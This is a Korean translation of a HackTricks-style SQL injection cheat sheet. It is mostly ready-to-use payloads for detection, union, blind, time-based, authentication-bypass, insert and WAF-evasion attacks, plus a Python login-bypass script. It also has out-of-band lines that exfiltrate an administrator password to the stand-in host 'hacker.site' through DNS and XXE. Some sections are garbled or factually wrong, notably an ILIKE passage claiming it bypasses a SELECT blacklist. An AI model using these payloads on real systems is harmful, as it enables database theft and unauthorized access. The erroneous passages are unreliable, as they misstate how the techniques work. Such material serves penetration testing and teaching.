SQL Injection

SQL Injection

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

​​​​RootedCON스페인에서 가장 중요한 사이버 보안 행사 중 하나로 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 홍보하는 것을 목표로 한 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

SQL Injection이란?

SQL Injection은 애플리케이션의 데이터베이스 쿼리에 간섭할 수 있는 보안 취약점입니다. 이 취약점을 통해 공격자는 다른 사용자의 정보나 애플리케이션이 액세스할 수 있는 모든 데이터를 포함한 접근할 수 없는 데이터를 보거나 수정하거나 삭제할 수 있습니다. 이러한 행위는 애플리케이션의 기능이나 내용에 영구적인 변경을 초래하거나 서버의 침해 또는 서비스 거부로 이어질 수 있습니다.

진입점 탐지

SQL Injection (SQLi)로 인해 서버의 응답이 비정상적인 경우, 첫 번째 단계쿼리에 데이터를 주입하면서도 쿼리를 중단시키지 않고 데이터를 주입하는 방법을 이해하는 것입니다. 이를 위해서는 현재 컨텍스트에서 탈출하는 방법을 효과적으로 식별해야 합니다. 다음은 유용한 예시입니다:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

그럼, 쿼리를 수정하여 오류가 없도록 해야합니다. 쿼리를 수정하기 위해 데이터를 입력하여 이전 쿼리가 새 데이터를 수락하도록 할 수 있습니다. 또는 데이터를 입력하고 주석 기호를 끝에 추가할 수도 있습니다.

쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이점을 발견할 수 있다는 점을 유의하세요.

주석

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

논리 연산을 통한 확인

SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 논리 연산을 실행하고 예상되는 결과를 관찰하는 것입니다. 예를 들어, ?username=Peter와 같은 GET 매개변수를 ?username=Peter' or '1'='1로 수정했을 때 동일한 내용이 나오는 경우, SQL 인젝션 취약점이 있음을 나타냅니다.

마찬가지로, 수학 연산을 적용하는 것도 효과적인 확인 기술로 사용됩니다. 예를 들어, ?id=1?id=2-1에 접근하여 동일한 결과가 나오는 경우, SQL 인젝션의 가능성이 있습니다.

논리 연산을 통한 확인을 보여주는 예시:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

이 단어 목록은 제안된 방식으로 SQL 삽입을 확인하기 위해 작성되었습니다:

시간을 이용한 확인

일부 경우에는 테스트 중인 페이지에서 어떤 변경 사항도 알아차리지 못할 수 있습니다. 따라서, 블라인드 SQL 삽입을 발견하는 좋은 방법은 DB가 작업을 수행하고 페이지가 로드되는 데 시간적인 영향을 미치도록하는 것입니다. 따라서, SQL 쿼리에 시간이 오래 걸리는 작업을 연결할 것입니다:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

어떤 경우에는 sleep 함수를 사용할 수 없을 수도 있습니다. 그럴 때는 대신 쿼리를 복잡한 작업을 수행하도록 만들어 여러 초가 걸리도록 할 수 있습니다. 이러한 기술의 예는 각 기술별로 따로 설명됩니다 (있는 경우).

백엔드 식별

백엔드를 식별하는 가장 좋은 방법은 다른 백엔드의 함수를 실행해 보는 것입니다. 이전 섹션의 sleep 함수를 사용하거나 이러한 함수들을 사용할 수 있습니다 (payloadsallthethings의 테이블 참조):

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

또한, 쿼리의 출력에 액세스할 수 있다면 데이터베이스의 버전을 출력할 수 있습니다.

계속해서 다양한 종류의 SQL Injection을 악용하는 다양한 방법에 대해 논의할 것입니다. 여기서는 MySQL을 사용합니다.

PortSwigger를 사용하여 식별하기

Union Based 악용

열의 수 확인하기

쿼리의 출력을 볼 수 있다면 이것이 악용하는 가장 좋은 방법입니다. 먼저, 초기 요청이 반환하는 열의 수를 찾아야 합니다. 이는 두 개의 쿼리가 동일한 열의 수를 반환해야 하기 때문입니다. 이를 위해 일반적으로 두 가지 방법을 사용합니다:

Order/Group by

쿼리의 열 수를 결정하기 위해 ORDER BY 또는 GROUP BY 절에 사용되는 숫자를 조금씩 조정하여 거짓 응답을 받을 때까지 확인합니다. SQL 내에서 GROUP BYORDER BY의 구별된 기능에도 불구하고, 둘 다 쿼리의 열 수를 확인하는 데 동일하게 사용할 수 있습니다.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

쿼리가 올바를 때까지 더 많은 null 값을 선택하세요:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

일부 경우에는 쿼리 양쪽의 열 유형이 동일해야하며 null은 모든 경우에 유효합니다.

데이터베이스 이름, 테이블 이름 및 열 이름 추출

다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색합니다:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

각각의 데이터베이스마다 이 데이터를 발견하는 다른 방법이 있지만, 방법론은 항상 동일합니다.

숨겨진 Union Based 공격

쿼리의 출력은 보이지만, Union Based 공격이 불가능한 경우 숨겨진 Union Based 공격이 존재한다는 것을 의미합니다. 이러한 상황은 종종 블라인드 인젝션 상황으로 이어집니다. 블라인드 인젝션을 Union Based 인젝션으로 변환하기 위해서는 백엔드에서 실행되는 쿼리를 알아내야 합니다.

이를 위해 블라인드 인젝션 기술을 사용하고 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 함께 사용합니다. 이러한 기본 테이블에 대한 이해를 위해 대상 DBMS의 문서를 참조하는 것이 좋습니다.

쿼리를 추출한 후, 원래의 쿼리를 안전하게 닫을 수 있는 페이로드를 조정해야 합니다. 그런 다음 페이로드에 Union 쿼리를 추가하여 새로 액세스 가능한 Union Based 인젝션을 이용할 수 있습니다.

더 자세한 내용은 Healing Blind Injections에서 제공하는 완전한 기사를 참조하십시오.

에러 기반 공격

쿼리의 출력을 볼 수 없지만 에러 메시지를 볼 수 있는 경우, 이 에러 메시지를 사용하여 데이터베이스에서 데이터를 외부로 유출할 수 있습니다. Union Based 공격과 유사한 흐름을 따라 데이터베이스를 덤프할 수 있습니다.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi 공격

이 경우에는 쿼리의 결과나 오류를 볼 수 없지만, 페이지에 다른 내용이 표시되는 경우 쿼리가 true 또는 false 응답을 반환하는 것을 구별 할 수 있습니다. 이 경우에는 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프 할 수 있습니다:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

에러 기반 SQL 삽입 공격

이전과 동일한 경우이지만 쿼리의 참/거짓 응답을 구별하는 대신 SQL 쿼리에 오류가 있는지 여부(아마도 HTTP 서버가 충돌하는 경우)를 구별할 수 있습니다. 따라서 이 경우에는 올바른 문자를 맞출 때마다 SQL 오류를 강제로 발생시킬 수 있습니다.

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

시간 기반 SQLi 공격

이 경우 페이지의 컨텍스트에 따라 쿼리의 응답을 구별할 수 있는 방법은 없습니다. 그러나 추측한 문자가 올바른 경우 페이지를 더 오래로 로드하게 만들 수 있습니다. 이미 SQLi 취약점 확인을 위해 이 기법을 사용한 적이 있습니다.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

스택 쿼리

스택 쿼리를 사용하여 연속적으로 여러 쿼리를 실행할 수 있습니다. 그러나 후속 쿼리가 실행되는 동안 결과는 응용 프로그램에 반환되지 않습니다. 따라서 이 기술은 주로 블라인드 취약점과 관련이 있으며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.

Oracle스택 쿼리를 지원하지 않습니다. MySQL, MicrosoftPostgreSQL은 지원합니다: 여기에 쿼리 1; 여기에 쿼리 2

외부 공격

다른 어떤 공격 방법도 작동하지 않는 경우, 데이터베이스가 외부 호스트로 정보를 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE를 통한 외부 데이터 유출

XXE (External Entity Injection)는 웹 응용 프로그램에서 발생하는 보안 취약점 중 하나입니다. 이 취약점을 통해 악의적인 공격자는 외부 엔티티를 주입하여 애플리케이션 서버의 파일 시스템에 액세스하고 데이터를 유출할 수 있습니다.

이러한 XXE 취약점을 통해 데이터를 외부로 유출하는 방법 중 하나는 "외부 데이터 유출" 또는 "Out of Band (OOB) 데이터 유출"입니다. 이 기술은 악의적인 공격자가 애플리케이션 서버 외부에 위치한 제어 가능한 서버로 데이터를 전송하는 것을 의미합니다.

외부 데이터 유출을 위해 악의적인 공격자는 XXE 취약점을 이용하여 애플리케이션 서버에서 데이터를 읽고, 외부 서버로 전송하기 위해 XML 엔티티를 사용합니다. 이를 통해 악의적인 공격자는 데이터베이스 쿼리 결과, 파일 시스템의 파일 내용 등 다양한 유형의 데이터를 외부로 유출할 수 있습니다.

외부 데이터 유출은 악의적인 공격자가 애플리케이션 서버에 대한 직접적인 연결 없이 데이터를 유출할 수 있는 강력한 기술입니다. 따라서 개발자와 보안 전문가는 XXE 취약점을 신속하게 식별하고 방어하기 위해 적절한 보안 조치를 취해야 합니다.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

자동화된 공격

sqlmap을 사용하여 SQLi 취약점을 이용하는 방법에 대한 SQLMap Cheetsheat을 확인하세요.

기술별 정보

SQL Injection 취약점을 이용하는 모든 방법에 대해 이미 논의했습니다. 이 책에서는 데이터베이스 기술에 따라 다른 몇 가지 트릭을 찾을 수 있습니다:

또는 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 다양한 트릭을 찾을 수 있습니다.

​​​​​RootedCON스페인에서 가장 관련성 있는 사이버 보안 행사이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

인증 우회

로그인 기능을 우회하기 위해 시도할 수 있는 목록:

pageLogin bypass List

Raw 해시 인증 우회

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

이 쿼리는 인증 검사에서 MD5가 true로 사용되고 원시 출력이 있는 경우의 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 입력을 조작하여 해시되었을 때 예상치 못한 SQL 명령 부분이 생성되어 무단 액세스를 유발할 수 있습니다.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

주입된 해시 인증 우회

In some cases, a web application may use a hash function to store and compare user passwords. This can be vulnerable to SQL injection attacks if the application does not properly sanitize user input.

In order to bypass the authentication mechanism, an attacker can inject a specially crafted SQL query that will always evaluate to true. This can be achieved by appending a comment symbol (--) to the end of the injected payload, effectively commenting out the rest of the query.

For example, consider the following vulnerable SQL query:

SELECT * FROM users WHERE username = 'admin' AND password = MD5('password')

To bypass the authentication, an attacker can inject the following payload:

' OR '1'='1' --

The resulting query will be:

SELECT * FROM users WHERE username = 'admin' AND password = MD5('password') OR '1'='1' --'

Since '1'='1' is always true, the query will return all rows from the users table, effectively bypassing the authentication mechanism.

It is important to note that this technique assumes that the application is vulnerable to SQL injection and that the password hashes are stored in a format that can be easily compared. Additionally, it is crucial to always sanitize user input and use prepared statements or parameterized queries to prevent SQL injection attacks.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

추천 목록:

각 줄마다 목록의 사용자 이름으로 사용하고 항상 비밀번호로 _Pass1234._를 사용해야 합니다. (이 페이로드는 이 섹션의 시작 부분에서 언급된 큰 목록에도 포함되어 있습니다.)

GBK 인증 우회

IF '가 이스케이프되는 경우 %A8%27을 사용할 수 있으며, '가 이스케이프되면 0xA80x5c0x27 (╘')가 생성됩니다.

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

파이썬 스크립트:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

다중 컨텍스트 폴리글롯 인젝션

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks to exploit multiple database management systems (DBMS) simultaneously. By crafting a malicious payload that is compatible with multiple DBMS, an attacker can target different systems with a single injection.

폴리글롯 인젝션 또는 다중 컨텍스트 인젝션은 SQL 인젝션 공격에서 사용되는 기술로, 여러 개의 데이터베이스 관리 시스템(DBMS)을 동시에 악용하는 것입니다. 여러 DBMS와 호환되는 악성 페이로드를 작성함으로써, 공격자는 단일 인젝션으로 다양한 시스템을 대상으로 할 수 있습니다.

This technique is particularly useful when the target application uses different DBMS for different parts of its functionality. By exploiting the vulnerabilities in each DBMS, an attacker can gain unauthorized access to sensitive data or perform other malicious actions.

이 기술은 대상 애플리케이션이 기능의 일부에 다른 DBMS를 사용하는 경우에 특히 유용합니다. 각 DBMS의 취약점을 악용함으로써, 공격자는 민감한 데이터에 무단으로 접근하거나 다른 악의적인 동작을 수행할 수 있습니다.

To perform a polyglot injection, the attacker needs to carefully craft the payload to ensure compatibility with multiple DBMS. This involves understanding the syntax and behavior of each targeted DBMS and creating a payload that works across all of them.

폴리글롯 인젝션을 수행하기 위해서는 공격자는 다중 DBMS와 호환되도록 신중하게 페이로드를 작성해야 합니다. 이는 각각의 대상 DBMS의 구문과 동작을 이해하고, 모든 DBMS에서 작동하는 페이로드를 생성하는 것을 포함합니다.

By leveraging polyglot injection, an attacker can maximize the impact of their SQL injection attacks by targeting multiple DBMS simultaneously. This technique requires a deep understanding of the targeted DBMS and careful payload crafting to ensure compatibility across different systems.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert 문

기존 객체/사용자의 비밀번호 수정

이를 위해 "마스터 객체" (일반적으로 사용자의 경우 admin)와 동일한 이름의 새로운 객체를 생성하여 수정해야 합니다:

  • 다음과 같은 이름으로 사용자 생성: AdMIn (대소문자 구분)

  • 다음과 같은 이름으로 사용자 생성: admin=

  • SQL Truncation 공격 (사용자 이름이나 이메일에 길이 제한이 있는 경우) --> 다음과 같은 이름으로 사용자 생성: admin [많은 공백] a

SQL Truncation 공격

데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30이고 admin 사용자를 표현하려는 경우, "admin [30 개의 공백] a"라는 사용자 이름을 생성하고 임의의 비밀번호를 설정하세요.

데이터베이스는 도입된 사용자 이름이 데이터베이스 내에 존재하는지 확인합니다. 존재하지 않는 경우, 데이터베이스는 사용자 이름허용된 최대 문자 수잘라내고 그 뒤의 모든 공백을 자동으로 제거하여 데이터베이스 내의 사용자 "admin"을 새로운 비밀번호로 업데이트합니다 (일부 오류가 발생할 수 있지만 작동하지 않는다는 의미는 아닙니다).

자세한 정보: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

참고: 최신 MySQL 설치에서는 위에서 설명한 대로 이 공격이 더 이상 작동하지 않습니다. 여전히 비교는 기본적으로 끝에 있는 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하여 삽입이 실패합니다. 이에 대한 자세한 정보는 다음을 참조하세요: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert 시간 기반 확인

VALUES 문을 종료하기 위해 ','',''를 원하는 만큼 추가하세요. 지연이 발생하면 SQL Injection이 있습니다.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL의 ON DUPLICATE KEY UPDATE 절은 UNIQUE 인덱스나 PRIMARY KEY에서 중복된 값을 삽입하려고 할 때 데이터베이스가 취할 동작을 지정하는 데 사용됩니다. 다음 예제는 이 기능을 이용하여 관리자 계정의 비밀번호를 수정하는 방법을 보여줍니다:

주입 예제 페이로드:

다음과 같이 주입 페이로드를 작성할 수 있습니다. 여기서는 users 테이블에 두 개의 행을 삽입하려고 시도합니다. 첫 번째 행은 속일 목적으로 사용되며, 두 번째 행은 기존 관리자의 이메일을 대상으로 비밀번호를 업데이트하는 것을 목표로 합니다:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

다음은 작동 방식입니다:

  • 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 generic_user@example.com을 위한 것이고 다른 하나는 admin_generic@example.com을 위한 것입니다.

  • admin_generic@example.com에 대한 행이 이미 존재하는 경우, ON DUPLICATE KEY UPDATE 절이 트리거되어 MySQL에게 기존 행의 password 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.

  • 결과적으로, 인증은 admin_generic@example.com을 사용하여 "bcrypt_hash_of_newpassword"에 해당하는 비밀번호로 시도될 수 있습니다. ("bcrypt_hash_of_newpassword"는 실제로 원하는 비밀번호의 bcrypt 해시로 대체되어야 합니다.)

정보 추출

동시에 2개의 계정 생성하기

새로운 사용자와 사용자 이름, 비밀번호, 이메일을 만들려고 할 때:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10진수 또는 16진수 사용

이 기술을 사용하면 단 하나의 계정을 생성하여 정보를 추출할 수 있습니다. 주석을 달 필요가 없다는 점이 중요합니다.

hex2decsubstr을 사용합니다:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

텍스트를 얻으려면 다음을 사용할 수 있습니다:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace (그리고 substr)을 사용하여:

SELECT column_name FROM table_name WHERE hex(column_name) LIKE hex(replace(replace(replace(substr('input_string',position,length),'char_to_replace','replacement_char'),'char_to_replace','replacement_char'),'char_to_replace','replacement_char'));

위의 쿼리는 주어진 입력 문자열에서 특정 위치와 길이의 부분 문자열을 추출한 후, 지정한 문자를 대체하여 해당 열의 값과 비교합니다. 이때, 문자열은 16진수로 변환되어 비교됩니다.

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON스페인에서 가장 관련성 있는 사이버 보안 행사이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

루트된 SQL 인젝션

루트된 SQL 인젝션은 삽입 가능한 쿼리가 출력을 제공하지 않는 쿼리가 아니라 삽입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 이동하는 상황입니다. (논문 참조)

예시:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF 우회

여기에서 초기 우회 방법 참조

공백 우회

공백 (%20) - 공백 대체를 사용한 우회 방법

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 주석을 사용하여 우회하기

개요

SQL 주입(SQL Injection)은 웹 응용 프로그램에서 발생하는 보안 취약점 중 하나로, 악의적인 사용자가 악의적인 SQL 쿼리를 삽입하여 데이터베이스에 대한 비인가된 액세스를 얻을 수 있는 공격입니다. 이러한 공격은 주로 웹 응용 프로그램에서 사용자 입력을 처리하는 과정에서 발생합니다.

SQL 주입 공격을 수행할 때, 주로 사용되는 기술 중 하나는 주석을 사용하여 공격 문자열을 숨기는 것입니다. 이 기술은 주로 공백 문자를 필터링하는 웹 응용 프로그램에서 사용됩니다. 이 문서에서는 주석을 사용하여 SQL 주입 공격을 우회하는 방법에 대해 설명합니다.

주석을 사용한 우회 기법

주석을 사용하여 SQL 주입 공격을 우회하는 방법은 다음과 같습니다.

  1. 주석 기호(-- 또는 #)를 사용하여 SQL 쿼리의 일부를 주석 처리합니다.

  2. 주석 처리된 부분 이후에 유효한 SQL 쿼리를 추가합니다.

다음은 주석을 사용하여 SQL 주입 공격을 우회하는 예시입니다.

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '1234'

위의 예시에서는 --를 사용하여 ' AND password = '1234' 부분을 주석 처리하고, 'admin'을 유효한 사용자 이름으로 설정하여 SQL 주입 공격을 우회합니다.

주의사항

주석을 사용하여 SQL 주입 공격을 우회하는 기법은 공백 문자를 필터링하는 웹 응용 프로그램에서 효과적일 수 있습니다. 그러나 이 기법은 모든 상황에서 작동하지는 않습니다. 따라서 실제 공격 시에는 다른 우회 기법을 시도해야 합니다.

참고 자료

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 괄호를 사용하여 우회하기

개요

SQL 삽입 공격은 웹 응용 프로그램에서 발생하는 일반적인 보안 취약점 중 하나입니다. 이러한 공격은 악의적인 사용자가 웹 응용 프로그램의 데이터베이스에 액세스하고 조작할 수 있도록 허용합니다. 이 문서에서는 SQL 삽입 공격을 수행하는 데 사용되는 기술 중 하나인 "No Whitespace" 기법에 대해 설명합니다.

No Whitespace 기법

"No Whitespace" 기법은 SQL 쿼리에 공백 문자를 사용하지 않고도 SQL 삽입 공격을 수행하는 기술입니다. 이 기법은 주로 웹 응용 프로그램에서 입력 검증이 제대로 이루어지지 않을 때 사용됩니다.

일반적으로 SQL 쿼리는 공백 문자를 사용하여 구문을 구분합니다. 그러나 "No Whitespace" 기법을 사용하면 공백 문자를 사용하지 않고도 SQL 쿼리를 구문 분석할 수 있습니다. 이를 통해 악의적인 사용자는 SQL 쿼리의 구문을 변경하거나 추가할 수 있습니다.

괄호를 사용하여 우회하기

"No Whitespace" 기법을 사용하여 SQL 삽입 공격을 수행할 때, 괄호를 사용하여 공백 문자를 대체할 수 있습니다. 괄호는 SQL 쿼리에서 구문을 구분하는 데 사용되는 일반적인 기호이기 때문에 이를 이용하여 공백 문자를 우회할 수 있습니다.

다음은 괄호를 사용하여 "No Whitespace" 기법을 적용한 예시입니다.

SELECT * FROM users WHERE username='admin' AND password=('password' OR '1'='1')

위의 예시에서는 괄호를 사용하여 공백 문자를 대체하고, password1=1을 OR 연산자로 결합하여 SQL 쿼리를 조작합니다. 이를 통해 악의적인 사용자는 1=1 조건을 항상 참으로 만들어 모든 사용자의 정보를 반환받을 수 있습니다.

대응 방안

"No Whitespace" 기법을 방지하기 위해 다음과 같은 대응 방안을 적용할 수 있습니다.

  • 입력 검증: 사용자로부터 입력을 받을 때, 입력 값에 대한 검증을 철저히 수행해야 합니다. 입력 값에 포함된 괄호를 필터링하거나 이스케이프하여 SQL 삽입 공격을 방지할 수 있습니다.

  • 준비된 문장 사용: SQL 쿼리를 실행할 때, 준비된 문장(prepared statement)을 사용하여 입력 값을 매개 변수로 처리하는 것이 좋습니다. 준비된 문장은 입력 값을 자동으로 이스케이프하여 SQL 삽입 공격을 방지할 수 있습니다.

결론

"No Whitespace" 기법은 SQL 삽입 공격을 수행하는 데 사용되는 효과적인 기술 중 하나입니다. 이 기법을 이해하고 방어하기 위해 입력 검증과 준비된 문장 사용 등의 대응 방안을 적용해야 합니다.

?id=(1)and(1)=(1)--

쉼표 우회

쉼표 우회 - OFFSET, FROM 및 JOIN을 사용한 우회 방법

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

일반적인 우회 방법

키워드를 사용한 블랙리스트 - 대문자/소문자를 사용하여 우회하기

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

대소문자 구분 없이 키워드를 사용하여 블랙리스트 만들기 - 동등 연산자를 사용하여 우회하기

When performing SQL injection attacks, it is common for web applications to implement blacklists to prevent certain keywords or characters from being used in user input. However, these blacklists are often implemented in a case-sensitive manner, which means that bypassing them can be as simple as using a different case for the restricted keyword.

SQL provides an equivalent operator, ILIKE, which performs a case-insensitive comparison. By using this operator, we can bypass the blacklist and execute our malicious SQL queries.

For example, let's say the web application has implemented a blacklist that prevents the keyword SELECT from being used. We can bypass this blacklist by using the ILIKE operator instead:

SELECT * FROM users WHERE username ILIKE 'admin' AND password = 'password'

In the above example, the ILIKE operator allows us to use the keyword SELECT in a case-insensitive manner, effectively bypassing the blacklist.

It is important to note that the specific syntax and behavior of the equivalent operator may vary depending on the database management system being used. Therefore, it is crucial to understand the syntax and behavior of the ILIKE operator for the specific database system you are targeting.

By leveraging the equivalent operator and understanding how blacklists are implemented, we can effectively bypass case-sensitive blacklists and successfully execute SQL injection attacks.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

과학적 표기법 WAF 우회

